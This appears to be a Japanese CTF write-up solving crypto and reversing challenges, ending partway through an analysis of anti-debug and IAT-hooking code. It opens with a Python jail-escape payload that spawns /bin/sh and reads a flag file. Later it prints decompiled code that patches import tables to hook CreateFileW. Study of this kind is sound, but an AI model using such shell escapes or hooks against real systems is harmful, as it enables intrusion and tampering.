enter your base64 code> QSA9IGV4ZWM7DSMKDSMKQUE9OSAJDSMKK0FBO0JTICA9ICI0ICIJW0FBICA6XSAJDSMKK0FBO0I9IEJTDSMKDSMKQUE9IDE7DSMKK0FBO0I0ICA9ICI0KCAJICIJW0FBXSAJDSMKDSMKQUE9IDE7DSMKK0FBO0I1ICA9ICI0KSAJICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0I2ICA9ICI0IHMJICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0I3ICA9ICI0IHQJICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0I4ICA9ICI0IHIJICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0NBICA9ICI0IEIJICIJW0FBXSAJDSMKDSMKQUE9IDE7DSMKK0FBO0NCICA9ICI0OSAJICIJW0FBXSAJDSMKDSMKQUE9IDE7DSMKK0FBO0NDICA9ICI0PSAJICIJW0FBXSAJDSMKDSMKQUE9IDE7DSMKK0FBO0U0ICA9ICI0ZSAJICIJW0FBXSAJDSMKDSMKQUE9IDM7DSMKK0FBO0U1ICA9ICI0ICB4ICIJW0FBXSAJDSMKDSMKQUE9IDE7DSMKK0FBO0U2ICA9ICI0ZSAJICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0U3ICA9ICI0IGMJICIJW0FBXSAJDSMKDSMKK0FBICA7ICBBKEJTK0NBK0NCK0NDK0I2K0I3K0I4K0I0K0U0K0U1K0U2K0U3K0I1KSAJDSMKQUE9IDI7DSMKK0FBO0NCICA9ICI0IG4JICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0NDICA9ICI0IHAJICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0NEICA9ICI0IHUJICIJW0FBXSAJDSMKDSMKQUE9IDI7DSMKK0FBO0NFICA9ICI0IHQJICIJW0FBXSAJDSMKDSMKQUE9ICA3DSMKK0FBO0NBICA9KEJTK0I5KSAJW0FBXSAJDSMKK0FBICA7ICBBKEJTK0U0K0U1K0U2K0U3K0I0K0NBK0NCK0NDK0NEK0NFK0I0K0I1K0I1KSAJDSMK
__import__("os").system("/bin/sh")
ls
flag.txt
run
cat flag.txt
fwectf{4pig4pii4pij4pig4pii4pij4pig4pii4pij}
^C

フラグを入手できました: fwectf{4pig4pii4pij4pig4pii4pij4pig4pii4pij}

なおフラグ内容をBase64デコードすると☠☢☣☠☢☣☠☢☣です。Jail脱出でのシェル取得は非常事態です!

[Crypto, Beginner] baby-crypto (563 teams solves, 100 points)

sjrpgs{ebg13rq_zrffntr!}

配布ファイルはありません。問題文からROT13の印象を受けたので、vimを起動して:g?コマンドを実行してROT13変換すると、フラグを入手できました: fwectf{rot13ed_message!}

[Crypto, Easy] base🚀 (316 teams solves, 101 points)

5.0 ★★★★★ 1 rating
🪛🔱🛜🫗🚞👞🍁🎩🚎🐒🌬🧨🖱🥚🫁🧶🪛🔱👀🔧🚞👛😄🎩🚊🌡🌬🧮🤮🥚🫐🛞🪛🔱👽🔧🚞🐻🔳🎩😥🪨🌬🩰🖖🥚🫐🪐🪛🔱👿🫗🚞🏵📚🎩🚊🎄🌬🧯🕺🥚🫁📑🪛🔰🐀🫗🚞💿🔳🎩🚲🚟🌬🧲🚯🥚🫁🚰🪛🔱💀🔧🚞🏓🛼🎩🚿🪻🌬🧪🙊🥚🫐🧢🪛🔱🛟🔧🚞🚋🫳🎩😆🏉🌬🧶🚓🥚🫅💛🪛🔱🔌🐃🚞🐋🥍🎩😱🤮🌬🩰🛳🥚🫀📍🪛🔰🐽🫗🚞💿🍁🎩🚊🌋🌬🧵🔷🚀🚀🚀

配布ファイルとして、問題本体のchall.pyと、それが使うファイルemoji.txtがありました:

$ file *
chall.py:  Python script, Unicode text, UTF-8 text executable
emoji.txt: Unicode text, UTF-8 text, with very long lines (1024), with no line terminators
$

chall.pyは次の内容でした:

#!/usr/bin/env python🚀

with open('emoji.txt', 'r', encoding='utf-8') as f:
    emoji = list(f.read().strip())

table = {i: ch for i, ch in enumerate(emoji)}

def encode(data):
    bits = ''.join(f'{b:08b}' for b in data)
    pad = (-len(bits)) % 10
    bits += '0' * pad
    out = [table[int(bits[i:i+10], 2)] for i in range(0, len(bits), 10)]
    r = (-len(out)) % 4
    if r:
        out.extend('🚀' * r)
    return ''.join(out)

if __name__ == '__main__':
    msg = 'Hello!'
    enc = encode(msg.encode())
    print('msg:', msg)
    print('enc:', enc)

chall.pyの内容は、平文8-bitの列を、10-bit単位に区切ってから対応する絵文字に置き換える内容です。Shebang箇所がpython🚀とロケット絵文字付きで面白かったです。

emoji.txtは1024種類の絵文字が1行に含まれています。なおemoji.txtの中に🚀は含まれないため、🚀は常にパディングとして除去できます。

encodeに対応するように、デコード処理を実装しました:

#!/usr/bin/env python3

with open("emoji.txt", "r", encoding="utf-8") as f:
    emoji = list(f.read().strip())

table = {i: ch for i, ch in enumerate(emoji)}
inv_table = {ch: i for i, ch in table.items()}


# 検証用に、配布ファイルのものを使いまわしています
def encode(data):
    bits = "".join(f"{b:08b}" for b in data)
    pad = (-len(bits)) % 10
    bits += "0" * pad
    # print(f"{bits = }")
    out = [table[int(bits[i : i + 10], 2)] for i in range(0, len(bits), 10)]
    r = (-len(out)) % 4
    if r:
        out.extend("🚀" * r)
    return "".join(out)


# 自分で実装しました
def decode(data: str) -> str:
    data = data.rstrip("🚀")
    # print(f"{len(data) = }")
    bits = ""
    for b in data:
        bits += f"{inv_table[b]:010b}"

    # print(f"{bits = }")
    # ↓ここで8-bitごとにchrしていてハマっていました。
    out = bytes([int(bits[i : i + 8], 2) for i in range(0, len(bits), 8)])
    return out.decode().rstrip("\x00")


if __name__ == "__main__":
    # 色々動作検証用
    msg = "Hello!"
    msg = __import__("string").ascii_letters
    msg = "あいうえおがぎぐげご🧩🌚🏂🧜🕶🗾🍦🤲🔽🎓🏫💟🧩🌚🦊🧜😃🗾🍩🏮🔽👁🏫💩"
    enc = encode(msg.encode())
    print("msg:", msg)
    print("enc:", enc)
    decoded = decode(enc)
    print(f"{len(decoded) = }")
    print("dec:", decoded)

    with open("title.txt") as f:
        enc = f.read().strip()
    print("dec1:", decode(enc))
    print("dec2:", decode(decode(enc)))  # 2回デコードでフラグが出てきた

実行しました:

$ ./solve.py
msg: あいうえおがぎぐげご🧩🌚🏂🧜🕶🗾🍦🤲🔽🎓🏫💟🧩🌚🦊🧜😃🗾🍩🏮🔽👁🏫💩
enc: 🧩🌚🏂🧜🕶🗾🍦🤲🔽🎓🏫💟🧩🌚🦊🧜😃🗾🍩🏮🔽👁🏫💩🪛🔱🔖🔧🚞🏓🛼🎩😆🌴🌬🩲🚓🥚🫂📑🪛🔰🔦🥀🚞🏤📚🎩🚲🦁🌬🧯🥈🥚🫀🚳🪛🔯🫑🫗🚞🐼🫳🎩🛍🛎🌬🧧🚋🥚🫐🚪🪛🔱🔓🐃🚞💝🐏🎩🙍🫖🌬🧨🛝🥚🫀🪀🪛🔰👂🔧🚞🐫🎁🎩😆🟢🌬🧭🛕🚀🚀🚀
len(decoded) = 34
dec: あいうえおがぎぐげご🧩🌚🏂🧜🕶🗾🍦🤲🔽🎓🏫💟🧩🌚🦊🧜😃🗾🍩🏮🔽👁🏫💩
dec1: 🪛🔰🛏🍈📛🤵🔈🚁📷🦨🥩💇💼🥇🧷🥳🎆🚇🔅👶📷🚇🤧🗣💐🥵🌚🦽🏖🧇🪥🦿🏋🛜🙆🧀🏋🔭🥬🍲🔫🚀🚀🚀
dec2: 🚀Congratulations! fwectf{n0_r0ck37_3m0ji_n0_llm}
$

フラグを入手できました: fwectf{n0_r0ck37_3m0ji_n0_llm}

decode関数のコメントに書いている通り、最初は8-bitごとにchr関数を通しており、ASCII範疇ではdecodeに成功するものの日本語や絵文字を使うと文字化けしていてハマっていました。bytes全体を.decode()すると成功しました。しばしば「ASCII圏製のアプリケーションでは非ASCIIがバグりがち」と思っていましたが、自分もまさに同じ過ちを犯しました!

[Crypto, Easy] unixor (47 teams solves, 324 points)

I wanna be a novelist

配布ファイルとして、問題本体のgenerate.pyと、その出力のencrypted.txtがありました:

$ file *
encrypted.txt: Non-ISO extended-ASCII text, with NEL line terminators
generate.py:   Unicode text, UTF-8 text
$

generate.pyは次の内容でした:

FLAG = b"fwectf{**REDACTED**}"

assert len(FLAG) < 30

"""
novel.txtはChatGPT 5 Autoによって生成された、UTF-8(BOMなし、改行LF)で書かれた小説です。

プロンプト(一部修正):
「**REDACTED**」という単語から連想される、1500字程度の小説を書いてください。
"""
novel = open("novel.txt", "rb").read()

encrypted = bytes([a ^ FLAG[i % len(FLAG)] for i, a in enumerate(novel)])
open("encrypted.txt", "wb").write(encrypted)

フラグ内容を鍵に、平文を繰り返しXORする内容です。そして平文がChatGPT製の小説です!

頻度分析にしろ、何かしらの解析にするにしろ、まずは鍵長を知りたいです。考えられる鍵長でざっくり調べました:

#!/usr/bin/env python3

import pwn

with open("encrypted.txt", "rb") as f:
    encrypted_novel = f.read()


for a_count in range(1, 999):
    flag = ("fwectf{" + (" " * a_count) + "}").encode()
    if a_count >= 30:
        break

    xored = pwn.xor(encrypted_novel, flag)

    # LFがしばしば登場するはず。かつファイル末尾も改行文字で終わるはず。その値がそこそこ出てくるはず。
    xored_lf = xored[-1]
    # splitted = xored.split(bytes([xored_lf]))
    # 改行で区切られたものはある程度のサイズはあるはず。
    # ↑この情報使いませんでした……
    # とりあえずフラグの既知部分でデコードできるものを試すと「a_count = 16,」の場合が一番それらしいdecode結果を得られました

    print("-" * 72)
    print(f"{a_count = }, {xored.decode(errors='ignore')}")

最初は「改行文字としてLFがしばしば登場するはずのでそれが参考になりそう」と考えていましたが、あまり役立たなさそうでした。次にとりあえずUTF-8デコードしてみると、上記コードでのa_count16のとき、つまりフラグ全体で24バイトのときに、漂ういた等のそこそこ読める日本語が現れました。おそらくその鍵長のようです!大会ルールの一部日本語話者に若干有利な問題がありますとは、おそらくこの問題のことなのでしょう。

後はフラグ内容を探索しつつ、人力で「それっぽい」ものを特定していきました。2バイトずつ進めていくとどうにかなりました。最後の探索時のコードです:

#!/usr/bin/env python3

import pwn
import tqdm

with open("encrypted.txt", "rb") as f:
    encrypted_novel = f.read()


candidates = list(range(0x20, 0x7F))
A_COUNT = 16

for a in tqdm.tqdm(candidates):
    for b in tqdm.tqdm(candidates, leave=False):
        print("-" * 72)
        flag = (
            "fwectf{dC0D3_fR_1S_D3" + chr(a) + chr(b) + (" " * (A_COUNT - 16)) + "}"
        ).encode()
        assert len(flag) == 24

        xored = pwn.xor(encrypted_novel, flag)
        lines = xored.decode(errors="replace").splitlines()
        space_count = sum([1 for line in lines if line.startswith(" ")])

        print(f"{a = :3d} {b = :3d} ||| {space_count = } {lines}")

上記コードを./solve.py > out.txt; cat out.txt | awk -F'\\|\\|\\|' '{print $2}' | sort | uniq -c > uniq_2_16.txtのように実行やリダイレクトして、それらしい日本語文字列が出てくるパターンを探していきました。以下、探していたときのメモです:

  1. とってが出てくるので、波括弧直後は[100, 67]らしい。
  2. 水平線が出てくるので次は[48]らしい。
  3. 三代続く, そんな中が出てくるので次は[68, 51]らしい。
  4. 水平線をが出てくるので次は[95]らしい。
  5. 沖へ出た, 流れを読みが出てくるので次は[102, 82]らしい。
  6. 先に腰掛け, 水平線を見が出てくるので次は[95]らしい。
  7. 潮の香りがが出てくるので次は[49, 83]らしい。
  8. 眠っているが出てくるので次は[95]らしい。
  9. 船は境界が出てくるので次は[68, 51]らしい。
  10. 潮の香りが濃く漂う港町の朝。が出てくるので次は[52, 100]らしい。

このようにフラグを入手できました: fwectf{dC0D3_fR_1S_D34d}

ChatGPTへのプロンプト内容が気になります!1単語や短い文章でこの小説内容が出てくるならすごい時代だなあと。

[Rev, Beginner] strings jacking (447 teams solves, 100 points)

初心者向けのリバースエンジニアリング!頑張って!

配布ファイルとして、strings_jackingがありました:

$ file strings_jacking
strings_jacking: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2bda06321fb3449956642ae8867a4c4c9a29ffec, for GNU/Linux 3.2.0, not stripped
$

IDAで開いて解析すると、次の内容でした:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s1[1024]; // [rsp+0h] [rbp-400h] BYREF

  printf("Password:");
  __isoc99_scanf("%s", s1);
  if ( !strcmp(s1, "fwectf{5tr1n65_30F_p4ss937_0011}") )
    puts("Correct!\nThis is flag!");
  else
    puts("Incorrect!");
  return 0;
}

試しに実行しました:

$ ./strings_jacking
Password:fwectf{5tr1n65_30F_p4ss937_0011}
Correct!
This is flag!
$

フラグを入手できました: fwectf{5tr1n65_30F_p4ss937_0011}

[Rev, Easy] No need Logical Thinking (219 teams solves, 132 points)

論理的思考はどんな物事にも必要。

配布ファイルとして、問題本体のChallenge.plと、その出力のoutput.txtがありました:

$ file *
Challenge.pl: ASCII text, with CRLF line terminators
output.txt:   data
$

ファイル拡張子.plというわけでPerlスクリプト問題は珍しいと思っていました。Challenge.plは次の内容でした:

process_flag(FileName) :-
    open(FileName, read, Stream),
    read_string(Stream, _, Content),
    close(Stream),
    string_codes(Content, Codes),
    transform_codes(Codes, 1, Transformed),
    string_codes(NewString, Transformed),
    writeln(NewString).


transform_codes([], _, []).
transform_codes([H|T], Index, [NewH|NewT]) :-
    NewH is H + Index,
    NextIndex is Index + 1,
    transform_codes(T, NextIndex, NewT).


%EXECUTE
%?- process_flag('flag.txt').

PerlではなくProlog言語のソースコードでした!初めて読みました!

初見でも大体の関数(?)は名前から機能を推測できました。一方でstring_codesだけ機能が分からなかったので調べると、SWI-Prolog -- string_codes/2が見つかって、文字列と文字リストを相互変換出来るらしいことが分かりました。双方向に変換できる点にPrologの特有さを感じました。

動作検証も兼ねて、手元仮想環境で実行準備を整えました。sudo apt install swi-prologで処理系をインストールできて、次のように実行できました:

$ cat flag.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ prolog
Welcome to SWI-Prolog (threaded, 64 bits, version 9.2.9)
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software.
Please run ?- license. for legal details.

For online help and background, visit https://www.swi-prolog.org
For built-in help, use ?- help(Topic). or ?- apropos(Word).

?- consult(Challenge).
ERROR: Arguments are not sufficiently instantiated
ERROR: In:
ERROR:   [16] throw(error(instantiation_error,_18040))
ERROR:   [11] toplevel_call(user:user: ...) at /usr/lib/swi-prolog/boot/toplevel.pl:1317
ERROR:
ERROR: Note: some frames are missing due to last-call optimization.
ERROR: Re-run your program in debug mode (:- debug.) to get more detail.
?- ^D
% halt

$ mv Challenge.pl chall.pl

$ prolog
Welcome to SWI-Prolog (threaded, 64 bits, version 9.2.9)
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software.
Please run ?- license. for legal details.

For online help and background, visit https://www.swi-prolog.org
For built-in help, use ?- help(Topic). or ?- apropos(Word).

?- consult(chall).
true.

?- process_flag('flag.txt').
BCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀāĂ㥹ĆćĈĉĊċČčĎďĐđĒēĔĕĖėĘęĚěĜĝĞğĠġĢģĤĥĦħĨĩĪīĬĭĮįİıIJijĴĵĶķĸĹĺĻļĽľĿŀŁċ
true.

?-

consultでファイルを読み込めるようなのですが、何故かChallenge.plファイル名だと読み込みに失敗して、chall.plでは読み込みに成功しました。ともかく、flag.txt内容を、先頭N文字目(1-indexed)のUnicode codepointをN増やす内容のようです。復号コードを書きました:

#!/usr/bin/env python3

# 最初、"rb"とbytesで扱っていてハマっていました
with open("output.txt", "r") as f:
    data = f.read()

flag = []
for i in range(len(data)):
    flag.append(chr(ord(data[i]) - (i + 1)))
print("".join(flag))

実行しました:

$ ./solve.py
fwectf{the_Pr010g_10gica1_Languag3!}
$

フラグを入手できました: fwectf{the_Pr010g_10gica1_Languag3!}

この問題でもUTF-8バイト列を、1文字ずつではなく1バイトずつ扱ってしまっていてハマっていました!

[Rev, Medium] Mystery Zone (97 teams solves, 227 points)

よぉ~みんな! HelloWorld だぜ!!!
flag を探してたら変な所に迷い込んじまったみてぇだ……。
俺を操作して flag を見つけてくれ~!!
お前たち最高だぜ!

ターミナル・トークな導入です!配布ファイルとして、Unity製ゲームの色々がありました:

$ find . -type f -print0 | xargs -0 file
./Challenge.exe:                                                                          PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
./Challenge_Data/app.info:                                                                ASCII text
./Challenge_Data/boot.config:                                                             ASCII text
./Challenge_Data/globalgamemanagers:                                                      DIY-Thermocam raw data (Lepton 3.x), scale 8973--10508, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 618970019642690137449562112.000000
./Challenge_Data/globalgamemanagers.assets:                                               data
./Challenge_Data/globalgamemanagers.assets.resS:                                          data
./Challenge_Data/level0:                                                                  data
./Challenge_Data/level1:                                                                  data
./Challenge_Data/level2:                                                                  data
./Challenge_Data/Managed/Assembly-CSharp.dll:                                             PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
(中略)
./UnityCrashHandler64.exe:                                                                PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
./UnityPlayer.dll:                                                                        PE32+ executable (DLL) (console) x86-64, for MS Windows, 8 sections
$

Windowsサンドボックス環境で起動すると、ターミナルトークのあのキャラクターを動かせるゲームが起動しました:

WASD操作で移動できますが、適当に移動しているとBSoDになってしまいました:

なおQRコード内容は脆弱エンジニアの日常 - YouTubeへのURLです!

さて、Unity製ゲームというわけで.NET製と考えました。上のfindコマンドでも示しているように、Challenge_Data/Managed/Assembly-CSharp.dllファイルが存在します。Unity機能のAssembly definition files(.asmdefファイル)を使っていない場合はAssembly-CSharp.dllファイルにゲーム内容のクラス等が含まれます。https://github.com/dnSpyEx/dnSpyを使ってAssembly-CSharp.dllを開くと、次の内容がありました:

public class Shellmove : MonoBehaviour
{
    // Token: 0x06000004 RID: 4 RVA: 0x0000219C File Offset: 0x0000039C
    private void Update()
    {
        Vector3 position = base.gameObject.transform.position;
        if (Input.GetKey(KeyCode.Delete))
        {
            SceneManager.LoadScene("Main");
        }
        if (this.Len(position) >= 50.0)
        {
            this.TransError();
        }
        if (position == new Vector3(65535f, 65535f))
        {
            this.TransFlag();
        }
        if (!this.ismoving && this.canmove)
        {
          / 以下省略
        }
    }
    // 他メンバーも省略
}

this.TransError();箇所を、dnSpyExでEdit Class機能からthis.TransFlag();へ書き換えて、Assembly-CSharp.dllファイルとして上書き保存しました。その状態で改めてゲームを起動して、適当に動きました:

表示されたQRコードを読み取って、フラグを入手できました: fwectf{K494ku_no_Ch1k4r4_t7e_5u63h!}

[Rev, Medium] I_HATE_DEBUGGING (25 teams solves, 395 points)

I hate debugging! Breakpoints, hooks - what are those, I don't get it! Can you help me out with some tech stuff?

配布ファイルとして、バイナリ2つと、入力用ファイル1つがありました:

$ file *
antidebugtest.exe: PE32+ executable (console) x86-64, for MS Windows, 18 sections
fakeflag.txt:      ASCII text, with no line terminators
whatisthis.dll:    PE32+ executable (DLL) (console) x86-64, for MS Windows, 19 sections
$

Windowsサンドボックス環境でantidebugtest.exeを実行しても、中身が文字化けしたflag.txtが作られるだけでした。

IDAで開いて解析していきました。またEXEやDLLファイルはmingw製のようで、DWARF情報が含まれていました。そのため関数名やグローバル変数名を復元できました。

IDAの逆アセンブル画面等では各種バイナリ最初のインポート関数を__IAT_start__名称で表示してしまう?

mingw製だからなのか、IDAで各種バイナリを開いて解析すると、最初のインポート関数が__IAT_start__として表示されるようでした。具体的にはantidebugtest.exe側の0x1400112A8や、whatisthis.dll側の0x2D310A200側で、インポートしている関数名が__IAT_start__と表示されていました:

特にwhatisthis.dll側ではその関数が重要だったので、x64dbgで実行することで実際はImageDirectoryEntryToData関数であることを確かめました:

ただ本記事を書いている今、1つ気付きました。IDAでもImportsタブを見れば0x2D310A200ImageDirectoryEntryToData関数であると分かります!

antidebugtest.exemain関数の流れ

antidebugtest.exemain関数は次の内容でした:

int main()
{
  FILE *Stream; // [rsp+20h] [rbp-10h]
  FILE *fpRead; // [rsp+28h] [rbp-8h]

  _main();
  if ( IsDebuggerPresent() )
  {
    MessageBoxA(0, "DON'T USE DEBUG :)", "Error", 0x10u);
  }
  else
  {
    hook();
    fpRead = fopen("fakeflag.txt", "r");
    decodeflag(fpRead);
    fclose(fpRead);
    Stream = fopen("flag.txt", "a");
    _mingw_fprintf(Stream, memory);
    fclose(Stream);
  }
  return 0;
}
  1. IsDebuggerPresent関数でデバッガーを検知して、検知しなかった場合のみフラグ関連の操作を行います。
  2. hook関数を呼び出します。詳細は後述します。
  3. decodeflag関数で、fakeflag.txtファイルの先頭7文字とグローバル変数memoryの内容を使って、グローバル変数filetxtの内容を書き換えます。詳細は割愛します。
  4. その後は一見すると、グローバル変数memoryの内容をそのままファイル出力しているように見えます。

antidebugtest.exehook関数でのフック対象調査

hook関数は次の内容でした:

int __cdecl hook()
{
  char pdir3[32]; // [rsp+30h] [rbp-50h] BYREF
  char pdir2[32]; // [rsp+50h] [rbp-30h] BYREF
  char pdir1[32]; // [rsp+70h] [rbp-10h] BYREF
  int dir3[25]; // [rsp+90h] [rbp+10h] BYREF
  int dir2[25]; // [rsp+100h] [rbp+80h] BYREF
  int dir1[25]; // [rsp+170h] [rbp+F0h] BYREF
  int c1; // [rsp+1E0h] [rbp+160h]
  int b1; // [rsp+1E4h] [rbp+164h]
  int ai; // [rsp+1E8h] [rbp+168h]
  bool hookcheck; // [rsp+1EFh] [rbp+16Fh]
  int i_1; // [rsp+1F0h] [rbp+170h]
  int i_0; // [rsp+1F4h] [rbp+174h]
  int i; // [rsp+1F8h] [rbp+178h]
  int count; // [rsp+1FCh] [rbp+17Ch]

  hookcheck = 0;
  memset(dir1, 0, sizeof(dir1));
  dir1[0] = 195;
  dir1[1] = 213;
  dir1[2] = 196;
  dir1[3] = 194;
  dir1[4] = 212;
  dir1[5] = 215;
  dir1[6] = 197;
  dir1[7] = 211;
  dir1[8] = 152;
  dir1[9] = 210;
  dir1[10] = 218;
  dir1[11] = 218;
  memset(dir2, 0, sizeof(dir2));
  dir2[0] = 253;
  dir2[1] = 243;
  dir2[2] = 228;
  dir2[3] = 248;
  dir2[4] = 243;
  dir2[5] = 250;
  dir2[6] = 244;
  dir2[7] = 247;
  dir2[8] = 229;
  dir2[9] = 243;
  dir2[10] = 152;
  dir2[11] = 210;
  dir2[12] = 218;
  dir2[13] = 218;
  memset(dir3, 0, sizeof(dir3));
  dir3[0] = 245;
  dir3[1] = 196;
  dir3[2] = 211;
  dir3[3] = 215;
  dir3[4] = 194;
  dir3[5] = 211;
  dir3[6] = 240;
  dir3[7] = 223;
  dir3[8] = 218;
  dir3[9] = 211;
  dir3[10] = 225;
  ai = 1;
  b1 = 1;
  c1 = 1;
  count = 0;
  while ( !hookcheck )
  {
    for ( i = 0; i <= 11; ++i )
      pdir1[i] = count ^ LOBYTE(dir1[i]);
    for ( i_0 = 0; i_0 <= 13; ++i_0 )
      pdir2[i_0] = count ^ LOBYTE(dir2[i_0]);
    for ( i_1 = 0; i_1 <= 10; ++i_1 )
      pdir3[i_1] = count ^ LOBYTE(dir3[i_1]);
    pdir1[12] = 0;
    pdir2[14] = 0;
    pdir3[11] = 0;
    if ( (unsigned __int8)iathook(pdir1, pdir2, pdir3, fb1, &originaldebug) )
      return count;
    ++count;
  }
  return 1;
}

1バイトXORしつつiathook関数を呼び出し、成功した場合は終了、失敗した場合は1バイトXORするカウンターを増やしてループする内容でした。「何かきれいなデコード結果になるはず」と考えて、1バイトXORでブルートフォースするスクリプトを書きました:

#!/usr/bin/env python3
dir1 = bytearray([0] * 12)
dir2 = bytearray([0] * 14)
dir3 = bytearray([0] * 11)

dir1[0] = 195
dir1[1] = 213
dir1[2] = 196
dir1[3] = 194
dir1[4] = 212
dir1[5] = 215
dir1[6] = 197
dir1[7] = 211
dir1[8] = 152
dir1[9] = 210
dir1[10] = 218
dir1[11] = 218
dir2[0] = 253
dir2[1] = 243
dir2[2] = 228
dir2[3] = 248
dir2[4] = 243
dir2[5] = 250
dir2[6] = 244
dir2[7] = 247
dir2[8] = 229
dir2[9] = 243
dir2[10] = 152
dir2[11] = 210
dir2[12] = 218
dir2[13] = 218
dir3[0] = 245
dir3[1] = 196
dir3[2] = 211
dir3[3] = 215
dir3[4] = 194
dir3[5] = 211
dir3[6] = 240
dir3[7] = 223
dir3[8] = 218
dir3[9] = 211
dir3[10] = 225

for count in range(256):
    pdir1 = dir1[:]
    pdir2 = dir2[:]
    pdir3 = dir3[:]
    for i in range(len(pdir1)):
        pdir1[i] ^= count
    for i in range(len(pdir2)):
        pdir2[i] ^= count
    for i in range(len(pdir3)):
        pdir3[i] ^= count

    def a(x):
        return all(map(lambda x: 0x20 <= x <= 0x7E, pdir3))

    if a(pdir1) and a(pdir2) and a(pdir3):
        print(f"{count}, {pdir1}, {pdir2}, {pdir3}")

実行して内容を確認すると、count182のときに3個文字列がucrtbase.dll, KERNELBASE.dll, CreateFileWに復号されることが分かりました。IAT Hookらしい文字列です!

whatisthis.dlliathook関数の動作

whatisthis.dllでは、エントリーポイントのDllMain等では特段何も行っていませんでした。エクスポート関数であるiathook関数が本体です:

bool __fastcall iathook(
        const CHAR *pStrDllName1_ucrtbase,
        const CHAR *pStrDllName2_KernelBase,
        const CHAR *pStrFuncName_CreateFileW,
        ULONGLONG fpProc_toBeHookDest,
        FARPROC *pfpOriginalProcDest)
{
  HMODULE hModuleForGetProcAddress; // rax
  __int64 v7; // [rsp+0h] [rbp-80h] BYREF
  _MEMORY_BASIC_INFORMATION memoryBasicInformation; // [rsp+20h] [rbp-60h] BYREF
  DWORD flOldProtect; // [rsp+58h] [rbp-28h] BYREF
  ULONG Size; // [rsp+5Ch] [rbp-24h] BYREF
  CHAR Filename[272]; // [rsp+60h] [rbp-20h] BYREF
  char *pStrFuncCurrentName; // [rsp+170h] [rbp+F0h]
  ULONGLONG fpFuncCurrent; // [rsp+178h] [rbp+F8h]
  char *pStrDllName; // [rsp+180h] [rbp+100h]
  INT_PTR (__stdcall *fpFuncTarget)(); // [rsp+188h] [rbp+108h]
  IMAGE_DOS_HEADER *pImageDosHeaderToIatHook; // [rsp+190h] [rbp+110h]
  IMAGE_THUNK_DATA *pImageThunkData_int; // [rsp+198h] [rbp+118h]
  IMAGE_THUNK_DATA *pImageThunkData_iat; // [rsp+1A0h] [rbp+120h]
  IMAGE_IMPORT_DESCRIPTOR *pImageImportDescriptor; // [rsp+1A8h] [rbp+128h]

  Size = 0;
  GetModuleFileNameA(0, (LPSTR)&v7 + 96, 0x104u);
  pImageDosHeaderToIatHook = (IMAGE_DOS_HEADER *)GetModuleHandleA(pStrDllName1_ucrtbase);
  if ( !pStrDllName1_ucrtbase )
    GetModuleHandleA(Filename);
  hModuleForGetProcAddress = GetModuleHandleA(pStrDllName2_KernelBase);
  fpFuncTarget = GetProcAddress(hModuleForGetProcAddress, pStrFuncName_CreateFileW);
  *pfpOriginalProcDest = fpFuncTarget;
  if ( !fpFuncTarget )
    return 0;
  for ( pImageImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR *)ImageDirectoryEntryToData_0(// IDAは最初「__IAT_start__」名称で表示していました。
                                                              pImageDosHeaderToIatHook,
                                                              1u,
                                                              IMAGE_DIRECTORY_ENTRY_IMPORT,
                                                              &Size); pImageImportDescriptor->Name; ++pImageImportDescriptor )
  {
    pStrDllName = (char *)pImageDosHeaderToIatHook + pImageImportDescriptor->Name;
    pImageThunkData_iat = (IMAGE_THUNK_DATA *)((char *)pImageDosHeaderToIatHook + pImageImportDescriptor->FirstThunk);
    pImageThunkData_int = (IMAGE_THUNK_DATA *)((char *)pImageDosHeaderToIatHook
                                             + pImageImportDescriptor->OriginalFirstThunk);// IMAGE_IMPORT_DESCRIPTORの最初は union {DWORD   Characteristics; DWORD OriginalFirstThunk; }
    while ( pImageThunkData_iat->u1.ForwarderString )
    {
      fpFuncCurrent = pImageThunkData_iat->u1.ForwarderString;
      pStrFuncCurrentName = (char *)pImageDosHeaderToIatHook + pImageThunkData_int->u1.ForwarderString;
      if ( (INT_PTR (__stdcall *)())fpFuncCurrent == fpFuncTarget )
      {
        VirtualQuery(pImageThunkData_iat, &memoryBasicInformation, sizeof(_MEMORY_BASIC_INFORMATION));
        if ( !VirtualProtect(
                memoryBasicInformation.BaseAddress,
                memoryBasicInformation.RegionSize,
                PAGE_EXECUTE_READWRITE,
                &memoryBasicInformation.Protect) )
        {
          MessageBoxA(
            0,
            "This is an error. If you did not trigger this intentionally, please re-download or report it.",
            "Error",
            0x10u);
          return 0;
        }
        pImageThunkData_iat->u1.ForwarderString = fpProc_toBeHookDest;
        if ( VirtualProtect(
               memoryBasicInformation.BaseAddress,
               memoryBasicInformation.RegionSize,
               memoryBasicInformation.Protect,
               &flOldProtect) )
        {
          return 1;
        }
      }
